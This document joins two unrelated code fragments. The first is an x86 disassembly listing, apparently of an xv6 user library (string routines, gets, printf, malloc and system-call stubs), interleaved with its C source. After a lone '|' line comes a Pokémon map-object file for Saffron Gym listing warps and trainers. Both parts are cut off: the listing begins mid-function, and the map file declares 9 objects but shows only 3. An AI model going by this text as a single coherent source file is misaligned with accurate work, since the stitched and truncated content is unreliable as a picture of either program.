2af: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
2b2: eb 06 jmp 2ba <strcmp+0x11>
p++, q++;
2b4: 83 c1 01 add $0x1,%ecx
2b7: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
2ba: 0f b6 01 movzbl (%ecx),%eax
2bd: 84 c0 test %al,%al
2bf: 74 04 je 2c5 <strcmp+0x1c>
2c1: 3a 02 cmp (%edx),%al
2c3: 74 ef je 2b4 <strcmp+0xb>
return (uchar)*p - (uchar)*q;
2c5: 0f b6 c0 movzbl %al,%eax
2c8: 0f b6 12 movzbl (%edx),%edx
2cb: 29 d0 sub %edx,%eax
}
2cd: 5d pop %ebp
2ce: c3 ret
000002cf <strlen>:
uint
strlen(const char *s)
{
2cf: 55 push %ebp
2d0: 89 e5 mov %esp,%ebp
2d2: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
2d5: ba 00 00 00 00 mov $0x0,%edx
2da: eb 03 jmp 2df <strlen+0x10>
2dc: 83 c2 01 add $0x1,%edx
2df: 89 d0 mov %edx,%eax
2e1: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
2e5: 75 f5 jne 2dc <strlen+0xd>
;
return n;
}
2e7: 5d pop %ebp
2e8: c3 ret
000002e9 <memset>:
void*
memset(void *dst, int c, uint n)
{
2e9: 55 push %ebp
2ea: 89 e5 mov %esp,%ebp
2ec: 57 push %edi
2ed: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
2f0: 89 d7 mov %edx,%edi
2f2: 8b 4d 10 mov 0x10(%ebp),%ecx
2f5: 8b 45 0c mov 0xc(%ebp),%eax
2f8: fc cld
2f9: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
2fb: 89 d0 mov %edx,%eax
2fd: 5f pop %edi
2fe: 5d pop %ebp
2ff: c3 ret
00000300 <strchr>:
char*
strchr(const char *s, char c)
{
300: 55 push %ebp
301: 89 e5 mov %esp,%ebp
303: 8b 45 08 mov 0x8(%ebp),%eax
306: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
30a: 0f b6 10 movzbl (%eax),%edx
30d: 84 d2 test %dl,%dl
30f: 74 09 je 31a <strchr+0x1a>
if(*s == c)
311: 38 ca cmp %cl,%dl
313: 74 0a je 31f <strchr+0x1f>
for(; *s; s++)
315: 83 c0 01 add $0x1,%eax
318: eb f0 jmp 30a <strchr+0xa>
return (char*)s;
return 0;
31a: b8 00 00 00 00 mov $0x0,%eax
}
31f: 5d pop %ebp
320: c3 ret
00000321 <gets>:
char*
gets(char *buf, int max)
{
321: 55 push %ebp
322: 89 e5 mov %esp,%ebp
324: 57 push %edi
325: 56 push %esi
326: 53 push %ebx
327: 83 ec 1c sub $0x1c,%esp
32a: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
32d: bb 00 00 00 00 mov $0x0,%ebx
332: 8d 73 01 lea 0x1(%ebx),%esi
335: 3b 75 0c cmp 0xc(%ebp),%esi
338: 7d 2e jge 368 <gets+0x47>
cc = read(0, &c, 1);
33a: 83 ec 04 sub $0x4,%esp
33d: 6a 01 push $0x1
33f: 8d 45 e7 lea -0x19(%ebp),%eax
342: 50 push %eax
343: 6a 00 push $0x0
345: e8 e6 00 00 00 call 430 <read>
if(cc < 1)
34a: 83 c4 10 add $0x10,%esp
34d: 85 c0 test %eax,%eax
34f: 7e 17 jle 368 <gets+0x47>
break;
buf[i++] = c;
351: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
355: 88 04 1f mov %al,(%edi,%ebx,1)
if(c == '\n' || c == '\r')
358: 3c 0a cmp $0xa,%al
35a: 0f 94 c2 sete %dl
35d: 3c 0d cmp $0xd,%al
35f: 0f 94 c0 sete %al
buf[i++] = c;
362: 89 f3 mov %esi,%ebx
if(c == '\n' || c == '\r')
364: 08 c2 or %al,%dl
366: 74 ca je 332 <gets+0x11>
break;
}
buf[i] = '\0';
368: c6 04 1f 00 movb $0x0,(%edi,%ebx,1)
return buf;
}
36c: 89 f8 mov %edi,%eax
36e: 8d 65 f4 lea -0xc(%ebp),%esp
371: 5b pop %ebx
372: 5e pop %esi
373: 5f pop %edi
374: 5d pop %ebp
375: c3 ret
00000376 <stat>:
int
stat(const char *n, struct stat *st)
{
376: 55 push %ebp
377: 89 e5 mov %esp,%ebp
379: 56 push %esi
37a: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
37b: 83 ec 08 sub $0x8,%esp
37e: 6a 00 push $0x0
380: ff 75 08 pushl 0x8(%ebp)
383: e8 d0 00 00 00 call 458 <open>
if(fd < 0)
388: 83 c4 10 add $0x10,%esp
38b: 85 c0 test %eax,%eax
38d: 78 24 js 3b3 <stat+0x3d>
38f: 89 c3 mov %eax,%ebx
return -1;
r = fstat(fd, st);
391: 83 ec 08 sub $0x8,%esp
394: ff 75 0c pushl 0xc(%ebp)
397: 50 push %eax
398: e8 d3 00 00 00 call 470 <fstat>
39d: 89 c6 mov %eax,%esi
close(fd);
39f: 89 1c 24 mov %ebx,(%esp)
3a2: e8 99 00 00 00 call 440 <close>
return r;
3a7: 83 c4 10 add $0x10,%esp
}
3aa: 89 f0 mov %esi,%eax
3ac: 8d 65 f8 lea -0x8(%ebp),%esp
3af: 5b pop %ebx
3b0: 5e pop %esi
3b1: 5d pop %ebp
3b2: c3 ret
return -1;
3b3: be ff ff ff ff mov $0xffffffff,%esi
3b8: eb f0 jmp 3aa <stat+0x34>
000003ba <atoi>:
int
atoi(const char *s)
{
3ba: 55 push %ebp
3bb: 89 e5 mov %esp,%ebp
3bd: 53 push %ebx
3be: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
3c1: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
3c6: eb 10 jmp 3d8 <atoi+0x1e>
n = n*10 + *s++ - '0';
3c8: 8d 1c 80 lea (%eax,%eax,4),%ebx
3cb: 8d 04 1b lea (%ebx,%ebx,1),%eax
3ce: 83 c1 01 add $0x1,%ecx
3d1: 0f be d2 movsbl %dl,%edx
3d4: 8d 44 02 d0 lea -0x30(%edx,%eax,1),%eax
while('0' <= *s && *s <= '9')
3d8: 0f b6 11 movzbl (%ecx),%edx
3db: 8d 5a d0 lea -0x30(%edx),%ebx
3de: 80 fb 09 cmp $0x9,%bl
3e1: 76 e5 jbe 3c8 <atoi+0xe>
return n;
}
3e3: 5b pop %ebx
3e4: 5d pop %ebp
3e5: c3 ret
000003e6 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
3e6: 55 push %ebp
3e7: 89 e5 mov %esp,%ebp
3e9: 56 push %esi
3ea: 53 push %ebx
3eb: 8b 45 08 mov 0x8(%ebp),%eax
3ee: 8b 5d 0c mov 0xc(%ebp),%ebx
3f1: 8b 55 10 mov 0x10(%ebp),%edx
char *dst;
const char *src;
dst = vdst;
3f4: 89 c1 mov %eax,%ecx
src = vsrc;
while(n-- > 0)
3f6: eb 0d jmp 405 <memmove+0x1f>
*dst++ = *src++;
3f8: 0f b6 13 movzbl (%ebx),%edx
3fb: 88 11 mov %dl,(%ecx)
3fd: 8d 5b 01 lea 0x1(%ebx),%ebx
400: 8d 49 01 lea 0x1(%ecx),%ecx
while(n-- > 0)
403: 89 f2 mov %esi,%edx
405: 8d 72 ff lea -0x1(%edx),%esi
408: 85 d2 test %edx,%edx
40a: 7f ec jg 3f8 <memmove+0x12>
return vdst;
}
40c: 5b pop %ebx
40d: 5e pop %esi
40e: 5d pop %ebp
40f: c3 ret
00000410 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
410: b8 01 00 00 00 mov $0x1,%eax
415: cd 40 int $0x40
417: c3 ret
00000418 <exit>:
SYSCALL(exit)
418: b8 02 00 00 00 mov $0x2,%eax
41d: cd 40 int $0x40
41f: c3 ret
00000420 <wait>:
SYSCALL(wait)
420: b8 03 00 00 00 mov $0x3,%eax
425: cd 40 int $0x40
427: c3 ret
00000428 <pipe>:
SYSCALL(pipe)
428: b8 04 00 00 00 mov $0x4,%eax
42d: cd 40 int $0x40
42f: c3 ret
00000430 <read>:
SYSCALL(read)
430: b8 05 00 00 00 mov $0x5,%eax
435: cd 40 int $0x40
437: c3 ret
00000438 <write>:
SYSCALL(write)
438: b8 10 00 00 00 mov $0x10,%eax
43d: cd 40 int $0x40
43f: c3 ret
00000440 <close>:
SYSCALL(close)
440: b8 15 00 00 00 mov $0x15,%eax
445: cd 40 int $0x40
447: c3 ret
00000448 <kill>:
SYSCALL(kill)
448: b8 06 00 00 00 mov $0x6,%eax
44d: cd 40 int $0x40
44f: c3 ret
00000450 <exec>:
SYSCALL(exec)
450: b8 07 00 00 00 mov $0x7,%eax
455: cd 40 int $0x40
457: c3 ret
00000458 <open>:
SYSCALL(open)
458: b8 0f 00 00 00 mov $0xf,%eax
45d: cd 40 int $0x40
45f: c3 ret
00000460 <mknod>:
SYSCALL(mknod)
460: b8 11 00 00 00 mov $0x11,%eax
465: cd 40 int $0x40
467: c3 ret
00000468 <unlink>:
SYSCALL(unlink)
468: b8 12 00 00 00 mov $0x12,%eax
46d: cd 40 int $0x40
46f: c3 ret
00000470 <fstat>:
SYSCALL(fstat)
470: b8 08 00 00 00 mov $0x8,%eax
475: cd 40 int $0x40
477: c3 ret
00000478 <link>:
SYSCALL(link)
478: b8 13 00 00 00 mov $0x13,%eax
47d: cd 40 int $0x40
47f: c3 ret
00000480 <mkdir>:
SYSCALL(mkdir)
480: b8 14 00 00 00 mov $0x14,%eax
485: cd 40 int $0x40
487: c3 ret
00000488 <chdir>:
SYSCALL(chdir)
488: b8 09 00 00 00 mov $0x9,%eax
48d: cd 40 int $0x40
48f: c3 ret
00000490 <dup>:
SYSCALL(dup)
490: b8 0a 00 00 00 mov $0xa,%eax
495: cd 40 int $0x40
497: c3 ret
00000498 <getpid>:
SYSCALL(getpid)
498: b8 0b 00 00 00 mov $0xb,%eax
49d: cd 40 int $0x40
49f: c3 ret
000004a0 <sbrk>:
SYSCALL(sbrk)
4a0: b8 0c 00 00 00 mov $0xc,%eax
4a5: cd 40 int $0x40
4a7: c3 ret
000004a8 <sleep>:
SYSCALL(sleep)
4a8: b8 0d 00 00 00 mov $0xd,%eax
4ad: cd 40 int $0x40
4af: c3 ret
000004b0 <uptime>:
SYSCALL(uptime)
4b0: b8 0e 00 00 00 mov $0xe,%eax
4b5: cd 40 int $0x40
4b7: c3 ret
000004b8 <setpri>:
SYSCALL(setpri)
4b8: b8 16 00 00 00 mov $0x16,%eax
4bd: cd 40 int $0x40
4bf: c3 ret
000004c0 <getpri>:
SYSCALL(getpri)
4c0: b8 17 00 00 00 mov $0x17,%eax
4c5: cd 40 int $0x40
4c7: c3 ret
000004c8 <fork2>:
SYSCALL(fork2)
4c8: b8 18 00 00 00 mov $0x18,%eax
4cd: cd 40 int $0x40
4cf: c3 ret
000004d0 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
4d0: 55 push %ebp
4d1: 89 e5 mov %esp,%ebp
4d3: 83 ec 1c sub $0x1c,%esp
4d6: 88 55 f4 mov %dl,-0xc(%ebp)
write(fd, &c, 1);
4d9: 6a 01 push $0x1
4db: 8d 55 f4 lea -0xc(%ebp),%edx
4de: 52 push %edx
4df: 50 push %eax
4e0: e8 53 ff ff ff call 438 <write>
}
4e5: 83 c4 10 add $0x10,%esp
4e8: c9 leave
4e9: c3 ret
000004ea <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
4ea: 55 push %ebp
4eb: 89 e5 mov %esp,%ebp
4ed: 57 push %edi
4ee: 56 push %esi
4ef: 53 push %ebx
4f0: 83 ec 2c sub $0x2c,%esp
4f3: 89 c7 mov %eax,%edi
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
4f5: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
4f9: 0f 95 c3 setne %bl
4fc: 89 d0 mov %edx,%eax
4fe: c1 e8 1f shr $0x1f,%eax
501: 84 c3 test %al,%bl
503: 74 10 je 515 <printint+0x2b>
neg = 1;
x = -xx;
505: f7 da neg %edx
neg = 1;
507: c7 45 d4 01 00 00 00 movl $0x1,-0x2c(%ebp)
} else {
x = xx;
}
i = 0;
50e: be 00 00 00 00 mov $0x0,%esi
513: eb 0b jmp 520 <printint+0x36>
neg = 0;
515: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
51c: eb f0 jmp 50e <printint+0x24>
do{
buf[i++] = digits[x % base];
51e: 89 c6 mov %eax,%esi
520: 89 d0 mov %edx,%eax
522: ba 00 00 00 00 mov $0x0,%edx
527: f7 f1 div %ecx
529: 89 c3 mov %eax,%ebx
52b: 8d 46 01 lea 0x1(%esi),%eax
52e: 0f b6 92 64 08 00 00 movzbl 0x864(%edx),%edx
535: 88 54 35 d8 mov %dl,-0x28(%ebp,%esi,1)
}while((x /= base) != 0);
539: 89 da mov %ebx,%edx
53b: 85 db test %ebx,%ebx
53d: 75 df jne 51e <printint+0x34>
53f: 89 c3 mov %eax,%ebx
if(neg)
541: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
545: 74 16 je 55d <printint+0x73>
buf[i++] = '-';
547: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
54c: 8d 5e 02 lea 0x2(%esi),%ebx
54f: eb 0c jmp 55d <printint+0x73>
while(--i >= 0)
putc(fd, buf[i]);
551: 0f be 54 1d d8 movsbl -0x28(%ebp,%ebx,1),%edx
556: 89 f8 mov %edi,%eax
558: e8 73 ff ff ff call 4d0 <putc>
while(--i >= 0)
55d: 83 eb 01 sub $0x1,%ebx
560: 79 ef jns 551 <printint+0x67>
}
562: 83 c4 2c add $0x2c,%esp
565: 5b pop %ebx
566: 5e pop %esi
567: 5f pop %edi
568: 5d pop %ebp
569: c3 ret
0000056a <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
56a: 55 push %ebp
56b: 89 e5 mov %esp,%ebp
56d: 57 push %edi
56e: 56 push %esi
56f: 53 push %ebx
570: 83 ec 1c sub $0x1c,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
573: 8d 45 10 lea 0x10(%ebp),%eax
576: 89 45 e4 mov %eax,-0x1c(%ebp)
state = 0;
579: be 00 00 00 00 mov $0x0,%esi
for(i = 0; fmt[i]; i++){
57e: bb 00 00 00 00 mov $0x0,%ebx
583: eb 14 jmp 599 <printf+0x2f>
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
} else {
putc(fd, c);
585: 89 fa mov %edi,%edx
587: 8b 45 08 mov 0x8(%ebp),%eax
58a: e8 41 ff ff ff call 4d0 <putc>
58f: eb 05 jmp 596 <printf+0x2c>
}
} else if(state == '%'){
591: 83 fe 25 cmp $0x25,%esi
594: 74 25 je 5bb <printf+0x51>
for(i = 0; fmt[i]; i++){
596: 83 c3 01 add $0x1,%ebx
599: 8b 45 0c mov 0xc(%ebp),%eax
59c: 0f b6 04 18 movzbl (%eax,%ebx,1),%eax
5a0: 84 c0 test %al,%al
5a2: 0f 84 23 01 00 00 je 6cb <printf+0x161>
c = fmt[i] & 0xff;
5a8: 0f be f8 movsbl %al,%edi
5ab: 0f b6 c0 movzbl %al,%eax
if(state == 0){
5ae: 85 f6 test %esi,%esi
5b0: 75 df jne 591 <printf+0x27>
if(c == '%'){
5b2: 83 f8 25 cmp $0x25,%eax
5b5: 75 ce jne 585 <printf+0x1b>
state = '%';
5b7: 89 c6 mov %eax,%esi
5b9: eb db jmp 596 <printf+0x2c>
if(c == 'd'){
5bb: 83 f8 64 cmp $0x64,%eax
5be: 74 49 je 609 <printf+0x9f>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
5c0: 83 f8 78 cmp $0x78,%eax
5c3: 0f 94 c1 sete %cl
5c6: 83 f8 70 cmp $0x70,%eax
5c9: 0f 94 c2 sete %dl
5cc: 08 d1 or %dl,%cl
5ce: 75 63 jne 633 <printf+0xc9>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
5d0: 83 f8 73 cmp $0x73,%eax
5d3: 0f 84 84 00 00 00 je 65d <printf+0xf3>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
5d9: 83 f8 63 cmp $0x63,%eax
5dc: 0f 84 b7 00 00 00 je 699 <printf+0x12f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
5e2: 83 f8 25 cmp $0x25,%eax
5e5: 0f 84 cc 00 00 00 je 6b7 <printf+0x14d>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
5eb: ba 25 00 00 00 mov $0x25,%edx
5f0: 8b 45 08 mov 0x8(%ebp),%eax
5f3: e8 d8 fe ff ff call 4d0 <putc>
putc(fd, c);
5f8: 89 fa mov %edi,%edx
5fa: 8b 45 08 mov 0x8(%ebp),%eax
5fd: e8 ce fe ff ff call 4d0 <putc>
}
state = 0;
602: be 00 00 00 00 mov $0x0,%esi
607: eb 8d jmp 596 <printf+0x2c>
printint(fd, *ap, 10, 1);
609: 8b 7d e4 mov -0x1c(%ebp),%edi
60c: 8b 17 mov (%edi),%edx
60e: 83 ec 0c sub $0xc,%esp
611: 6a 01 push $0x1
613: b9 0a 00 00 00 mov $0xa,%ecx
618: 8b 45 08 mov 0x8(%ebp),%eax
61b: e8 ca fe ff ff call 4ea <printint>
ap++;
620: 83 c7 04 add $0x4,%edi
623: 89 7d e4 mov %edi,-0x1c(%ebp)
626: 83 c4 10 add $0x10,%esp
state = 0;
629: be 00 00 00 00 mov $0x0,%esi
62e: e9 63 ff ff ff jmp 596 <printf+0x2c>
printint(fd, *ap, 16, 0);
633: 8b 7d e4 mov -0x1c(%ebp),%edi
636: 8b 17 mov (%edi),%edx
638: 83 ec 0c sub $0xc,%esp
63b: 6a 00 push $0x0
63d: b9 10 00 00 00 mov $0x10,%ecx
642: 8b 45 08 mov 0x8(%ebp),%eax
645: e8 a0 fe ff ff call 4ea <printint>
ap++;
64a: 83 c7 04 add $0x4,%edi
64d: 89 7d e4 mov %edi,-0x1c(%ebp)
650: 83 c4 10 add $0x10,%esp
state = 0;
653: be 00 00 00 00 mov $0x0,%esi
658: e9 39 ff ff ff jmp 596 <printf+0x2c>
s = (char*)*ap;
65d: 8b 45 e4 mov -0x1c(%ebp),%eax
660: 8b 30 mov (%eax),%esi
ap++;
662: 83 c0 04 add $0x4,%eax
665: 89 45 e4 mov %eax,-0x1c(%ebp)
if(s == 0)
668: 85 f6 test %esi,%esi
66a: 75 28 jne 694 <printf+0x12a>
s = "(null)";
66c: be 5a 08 00 00 mov $0x85a,%esi
671: 8b 7d 08 mov 0x8(%ebp),%edi
674: eb 0d jmp 683 <printf+0x119>
putc(fd, *s);
676: 0f be d2 movsbl %dl,%edx
679: 89 f8 mov %edi,%eax
67b: e8 50 fe ff ff call 4d0 <putc>
s++;
680: 83 c6 01 add $0x1,%esi
while(*s != 0){
683: 0f b6 16 movzbl (%esi),%edx
686: 84 d2 test %dl,%dl
688: 75 ec jne 676 <printf+0x10c>
state = 0;
68a: be 00 00 00 00 mov $0x0,%esi
68f: e9 02 ff ff ff jmp 596 <printf+0x2c>
694: 8b 7d 08 mov 0x8(%ebp),%edi
697: eb ea jmp 683 <printf+0x119>
putc(fd, *ap);
699: 8b 7d e4 mov -0x1c(%ebp),%edi
69c: 0f be 17 movsbl (%edi),%edx
69f: 8b 45 08 mov 0x8(%ebp),%eax
6a2: e8 29 fe ff ff call 4d0 <putc>
ap++;
6a7: 83 c7 04 add $0x4,%edi
6aa: 89 7d e4 mov %edi,-0x1c(%ebp)
state = 0;
6ad: be 00 00 00 00 mov $0x0,%esi
6b2: e9 df fe ff ff jmp 596 <printf+0x2c>
putc(fd, c);
6b7: 89 fa mov %edi,%edx
6b9: 8b 45 08 mov 0x8(%ebp),%eax
6bc: e8 0f fe ff ff call 4d0 <putc>
state = 0;
6c1: be 00 00 00 00 mov $0x0,%esi
6c6: e9 cb fe ff ff jmp 596 <printf+0x2c>
}
}
}
6cb: 8d 65 f4 lea -0xc(%ebp),%esp
6ce: 5b pop %ebx
6cf: 5e pop %esi
6d0: 5f pop %edi
6d1: 5d pop %ebp
6d2: c3 ret
000006d3 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
6d3: 55 push %ebp
6d4: 89 e5 mov %esp,%ebp
6d6: 57 push %edi
6d7: 56 push %esi
6d8: 53 push %ebx
6d9: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
6dc: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6df: a1 c0 0b 00 00 mov 0xbc0,%eax
6e4: eb 02 jmp 6e8 <free+0x15>
6e6: 89 d0 mov %edx,%eax
6e8: 39 c8 cmp %ecx,%eax
6ea: 73 04 jae 6f0 <free+0x1d>
6ec: 39 08 cmp %ecx,(%eax)
6ee: 77 12 ja 702 <free+0x2f>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6f0: 8b 10 mov (%eax),%edx
6f2: 39 c2 cmp %eax,%edx
6f4: 77 f0 ja 6e6 <free+0x13>
6f6: 39 c8 cmp %ecx,%eax
6f8: 72 08 jb 702 <free+0x2f>
6fa: 39 ca cmp %ecx,%edx
6fc: 77 04 ja 702 <free+0x2f>
6fe: 89 d0 mov %edx,%eax
700: eb e6 jmp 6e8 <free+0x15>
break;
if(bp + bp->s.size == p->s.ptr){
702: 8b 73 fc mov -0x4(%ebx),%esi
705: 8d 3c f1 lea (%ecx,%esi,8),%edi
708: 8b 10 mov (%eax),%edx
70a: 39 d7 cmp %edx,%edi
70c: 74 19 je 727 <free+0x54>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
70e: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
711: 8b 50 04 mov 0x4(%eax),%edx
714: 8d 34 d0 lea (%eax,%edx,8),%esi
717: 39 ce cmp %ecx,%esi
719: 74 1b je 736 <free+0x63>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
71b: 89 08 mov %ecx,(%eax)
freep = p;
71d: a3 c0 0b 00 00 mov %eax,0xbc0
}
722: 5b pop %ebx
723: 5e pop %esi
724: 5f pop %edi
725: 5d pop %ebp
726: c3 ret
bp->s.size += p->s.ptr->s.size;
727: 03 72 04 add 0x4(%edx),%esi
72a: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
72d: 8b 10 mov (%eax),%edx
72f: 8b 12 mov (%edx),%edx
731: 89 53 f8 mov %edx,-0x8(%ebx)
734: eb db jmp 711 <free+0x3e>
p->s.size += bp->s.size;
736: 03 53 fc add -0x4(%ebx),%edx
739: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
73c: 8b 53 f8 mov -0x8(%ebx),%edx
73f: 89 10 mov %edx,(%eax)
741: eb da jmp 71d <free+0x4a>
00000743 <morecore>:
static Header*
morecore(uint nu)
{
743: 55 push %ebp
744: 89 e5 mov %esp,%ebp
746: 53 push %ebx
747: 83 ec 04 sub $0x4,%esp
74a: 89 c3 mov %eax,%ebx
char *p;
Header *hp;
if(nu < 4096)
74c: 3d ff 0f 00 00 cmp $0xfff,%eax
751: 77 05 ja 758 <morecore+0x15>
nu = 4096;
753: bb 00 10 00 00 mov $0x1000,%ebx
p = sbrk(nu * sizeof(Header));
758: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
75f: 83 ec 0c sub $0xc,%esp
762: 50 push %eax
763: e8 38 fd ff ff call 4a0 <sbrk>
if(p == (char*)-1)
768: 83 c4 10 add $0x10,%esp
76b: 83 f8 ff cmp $0xffffffff,%eax
76e: 74 1c je 78c <morecore+0x49>
return 0;
hp = (Header*)p;
hp->s.size = nu;
770: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
773: 83 c0 08 add $0x8,%eax
776: 83 ec 0c sub $0xc,%esp
779: 50 push %eax
77a: e8 54 ff ff ff call 6d3 <free>
return freep;
77f: a1 c0 0b 00 00 mov 0xbc0,%eax
784: 83 c4 10 add $0x10,%esp
}
787: 8b 5d fc mov -0x4(%ebp),%ebx
78a: c9 leave
78b: c3 ret
return 0;
78c: b8 00 00 00 00 mov $0x0,%eax
791: eb f4 jmp 787 <morecore+0x44>
00000793 <malloc>:
void*
malloc(uint nbytes)
{
793: 55 push %ebp
794: 89 e5 mov %esp,%ebp
796: 53 push %ebx
797: 83 ec 04 sub $0x4,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
79a: 8b 45 08 mov 0x8(%ebp),%eax
79d: 8d 58 07 lea 0x7(%eax),%ebx
7a0: c1 eb 03 shr $0x3,%ebx
7a3: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
7a6: 8b 0d c0 0b 00 00 mov 0xbc0,%ecx
7ac: 85 c9 test %ecx,%ecx
7ae: 74 04 je 7b4 <malloc+0x21>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7b0: 8b 01 mov (%ecx),%eax
7b2: eb 4d jmp 801 <malloc+0x6e>
base.s.ptr = freep = prevp = &base;
7b4: c7 05 c0 0b 00 00 c4 movl $0xbc4,0xbc0
7bb: 0b 00 00
7be: c7 05 c4 0b 00 00 c4 movl $0xbc4,0xbc4
7c5: 0b 00 00
base.s.size = 0;
7c8: c7 05 c8 0b 00 00 00 movl $0x0,0xbc8
7cf: 00 00 00
base.s.ptr = freep = prevp = &base;
7d2: b9 c4 0b 00 00 mov $0xbc4,%ecx
7d7: eb d7 jmp 7b0 <malloc+0x1d>
if(p->s.size >= nunits){
if(p->s.size == nunits)
7d9: 39 da cmp %ebx,%edx
7db: 74 1a je 7f7 <malloc+0x64>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
7dd: 29 da sub %ebx,%edx
7df: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
7e2: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
7e5: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
7e8: 89 0d c0 0b 00 00 mov %ecx,0xbc0
return (void*)(p + 1);
7ee: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
7f1: 83 c4 04 add $0x4,%esp
7f4: 5b pop %ebx
7f5: 5d pop %ebp
7f6: c3 ret
prevp->s.ptr = p->s.ptr;
7f7: 8b 10 mov (%eax),%edx
7f9: 89 11 mov %edx,(%ecx)
7fb: eb eb jmp 7e8 <malloc+0x55>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7fd: 89 c1 mov %eax,%ecx
7ff: 8b 00 mov (%eax),%eax
if(p->s.size >= nunits){
801: 8b 50 04 mov 0x4(%eax),%edx
804: 39 da cmp %ebx,%edx
806: 73 d1 jae 7d9 <malloc+0x46>
if(p == freep)
808: 39 05 c0 0b 00 00 cmp %eax,0xbc0
80e: 75 ed jne 7fd <malloc+0x6a>
if((p = morecore(nunits)) == 0)
810: 89 d8 mov %ebx,%eax
812: e8 2c ff ff ff call 743 <morecore>
817: 85 c0 test %eax,%eax
819: 75 e2 jne 7fd <malloc+0x6a>
return 0;
81b: b8 00 00 00 00 mov $0x0,%eax
820: eb cf jmp 7f1 <malloc+0x5e>
|
SaffronGym_Object:
db $2e ; border block
db 32 ; warps
warp 8, 17, 2, -1
warp 9, 17, 2, -1
warp 1, 3, 22, SAFFRON_GYM
warp 5, 3, 15, SAFFRON_GYM
warp 1, 5, 18, SAFFRON_GYM
warp 5, 5, 8, SAFFRON_GYM
warp 1, 9, 27, SAFFRON_GYM
warp 5, 9, 16, SAFFRON_GYM
warp 1, 11, 5, SAFFRON_GYM
warp 5, 11, 13, SAFFRON_GYM
warp 1, 15, 23, SAFFRON_GYM
warp 5, 15, 30, SAFFRON_GYM
warp 1, 17, 17, SAFFRON_GYM
warp 5, 17, 9, SAFFRON_GYM
warp 9, 3, 26, SAFFRON_GYM
warp 11, 3, 3, SAFFRON_GYM
warp 9, 5, 7, SAFFRON_GYM
warp 11, 5, 12, SAFFRON_GYM
warp 11, 11, 4, SAFFRON_GYM
warp 11, 15, 31, SAFFRON_GYM
warp 15, 3, 24, SAFFRON_GYM
warp 19, 3, 28, SAFFRON_GYM
warp 15, 5, 2, SAFFRON_GYM
warp 19, 5, 10, SAFFRON_GYM
warp 15, 9, 20, SAFFRON_GYM
warp 19, 9, 29, SAFFRON_GYM
warp 15, 11, 14, SAFFRON_GYM
warp 19, 11, 6, SAFFRON_GYM
warp 15, 15, 21, SAFFRON_GYM
warp 19, 15, 25, SAFFRON_GYM
warp 15, 17, 11, SAFFRON_GYM
warp 19, 17, 19, SAFFRON_GYM
db 0 ; signs
db 9 ; objects
object SPRITE_GIRL, 9, 8, STAY, DOWN, 1, OPP_SABRINA, 1
object SPRITE_MEDIUM, 10, 1, STAY, DOWN, 2, OPP_CHANNELER, 22
object SPRITE_BUG_CATCHER, 17, 1, STAY, DOWN, 3, OPP_PSYCHIC_TR, 1
